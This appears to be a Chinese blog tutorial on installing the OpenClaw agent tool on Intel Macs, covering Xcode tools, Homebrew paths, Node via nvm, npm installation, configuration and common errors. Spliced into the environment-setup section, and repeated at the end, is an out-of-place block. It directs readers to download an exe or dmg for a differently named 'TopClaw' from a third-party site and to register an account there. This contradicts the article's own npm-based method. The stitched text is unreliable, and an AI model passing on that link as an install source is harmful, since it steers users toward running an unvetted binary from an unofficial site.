ARTICLE · 1069013
Openclaw小龙虾Mac Intel安装全流程,新手可跟
前两天有位读者留言，说自己用的是 2019 款 MacBook Pro，跟着网上的教程装 OpenClaw，卡在第一步就没动静了。我一看就猜到问题在哪——现在大部分教程默认你用的是 M 系列芯片，路径、依赖、命令全按 ARM 架构写，Intel 机器照着抄，不出错才怪。
OpenClaw 这个名字带个 Claw（钳子），圈子里不少人干脆叫它「小龙虾」。这篇文章就把 Intel Mac 上的完整流程捋一遍，从装环境到跑起来，尽量写细一点，新手也能跟着做。
一、地基先打牢：Intel Mac 的环境准备
第一步不是装软件，而是确认机器是什么架构。点左上角苹果图标 →「关于本机」，如果处理器那一行写的是 Intel Core i5 / i7 / i9，那你就是 x86_64，本文适用。
确认之后，按顺序装这几样东西：
第一步：打开龙虾安装地址：https://top.wokk.cn
第二步：选择Windows10/11或macOS apple、intel芯片下载。
第三步：双击安装包（exe或者dmg文件）等待3分钟。
第四步：打开桌面TopClaw龙虾软件注册登录即可使用
Xcode 命令行工具：终端执行 xcode-select --install，弹窗点安装。它提供编译工具链，缺了后面装依赖必报错。 Homebrew：Intel Mac 的默认路径是 /usr/local，不是 M 芯片的 /opt/homebrew。以后看到教程里写具体路径，先在心里过一遍这个区别。 Node.js：建议 20 LTS 及以上。我习惯用 nvm 管理版本，切换方便，也顺带避开一堆权限问题。
装 Node 的时候，从 nvm 官方仓库拿安装脚本，或者直接 brew install nvm 都行，装完记得在 shell 配置里加载它。
我自己踩过的坑：千万别用 sudo 去装全局 npm 包。当时图省事加了 sudo，结果后面所有命令都要提权，卸载重装折腾了一整晚。权限一乱，后面全是连锁反应。
二、动手安装 OpenClaw
环境齐了，装本体其实很快。两种方式，按自己习惯选：
方式一，全局安装：npm install -g openclaw，适合只想尽快跑起来的人。 方式二，源码安装：把仓库 clone 到本地，进目录执行 npm install，适合想跟进更新、偶尔改改代码的人。
装完先验证一下，敲 openclaw --version，能打印出版本号，说明命令已经进 PATH 了。如果提示 command not found，八成是全局 bin 目录没进环境变量，回头检查 shell 配置里的 PATH。
接下来做初始化，执行 openclaw init（有的版本叫 onboard），它会带你走一遍向导：工作目录、模型服务、消息渠道。配置文件一般落在用户主目录下，我建议用编辑器手动改，比在终端里来回问答清楚得多。
配置这块有两个提醒：
模型服务：把接口地址和密钥填好即可，选国内能正常访问的服务，省去网络折腾。 消息渠道：先只接一个，跑通再加第二个。一次全开，出问题根本不知道是哪儿的锅。
配置完成后启动服务，终端会输出本地监听地址，浏览器打开就能看到界面。
三、跑起来之后，几个高频问题
按上面的流程走，大概率一次成功。真卡住了，基本逃不出下面这几种：
端口被占用：换个端口，或者用 lsof -i 加端口号，找出占用的进程。 依赖编译失败：多半是命令行工具没装全，重跑一次 xcode-select --install。 权限报错 EACCES：别急着加 sudo，先修一下 npm 目录的归属，或者干脆用 nvm 重装 Node。 启动后没反应：去看日志，日志里写得比终端提示清楚得多。
最后说点个人想法。Intel Mac 现在确实不算主流，很多新工具默认只测 ARM 版本，遇到问题搜不到答案很正常。但底层逻辑都是通的——Node 还是那个 Node，依赖还是那些依赖，无非路径从 /opt/homebrew 换成了 /usr/local。把环境这一层理顺，剩下的就是照着文档填空。所以别被「老机器装不了新东西」这种话劝退，先动手试半小时，往往比刷两小时教程管用。
OpenClaw中文版龙虾安装地址：https://top.wokk.cn